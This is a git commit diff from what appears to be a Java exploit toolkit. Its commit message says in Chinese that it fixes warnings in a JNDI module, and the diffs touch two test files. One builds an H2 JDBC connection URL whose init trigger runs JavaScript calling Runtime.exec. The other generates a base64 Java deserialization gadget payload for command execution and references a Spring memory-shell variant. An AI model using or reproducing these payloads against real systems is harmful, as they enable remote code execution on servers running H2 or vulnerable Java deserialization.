fix: 修复JNDI模块多个告

This commit is contained in:
qi4l
2026-03-26 14:40:12 +08:00
parent e3cdf5148c
commit 3411d085a7
221 changed files with 2002 additions and 2955 deletions
+1 -2
View File
@@ -1,10 +1,9 @@
public class Main {
public static void main(String[] args) {
String cmd = "calc";
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + cmd + "\")";
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '"+ javascript +"'";
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '" + javascript + "'";
//System.out.println(JDBC_URL);
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;" +
@@ -8,20 +8,20 @@ import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("jackson4");
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject("dir"); //EX-MS-SpringInterceptorMS-gz
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("jackson3");
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz
secCig rootObj = new secCig();
rootObj.setMessage("qi4l");
rootObj.setSecObject(object);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(rootObj);
oos.close();
byte[] payloadBytes = baos.toByteArray();
byte[] payloadBytes = baos.toByteArray();
String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(base64Payload);
}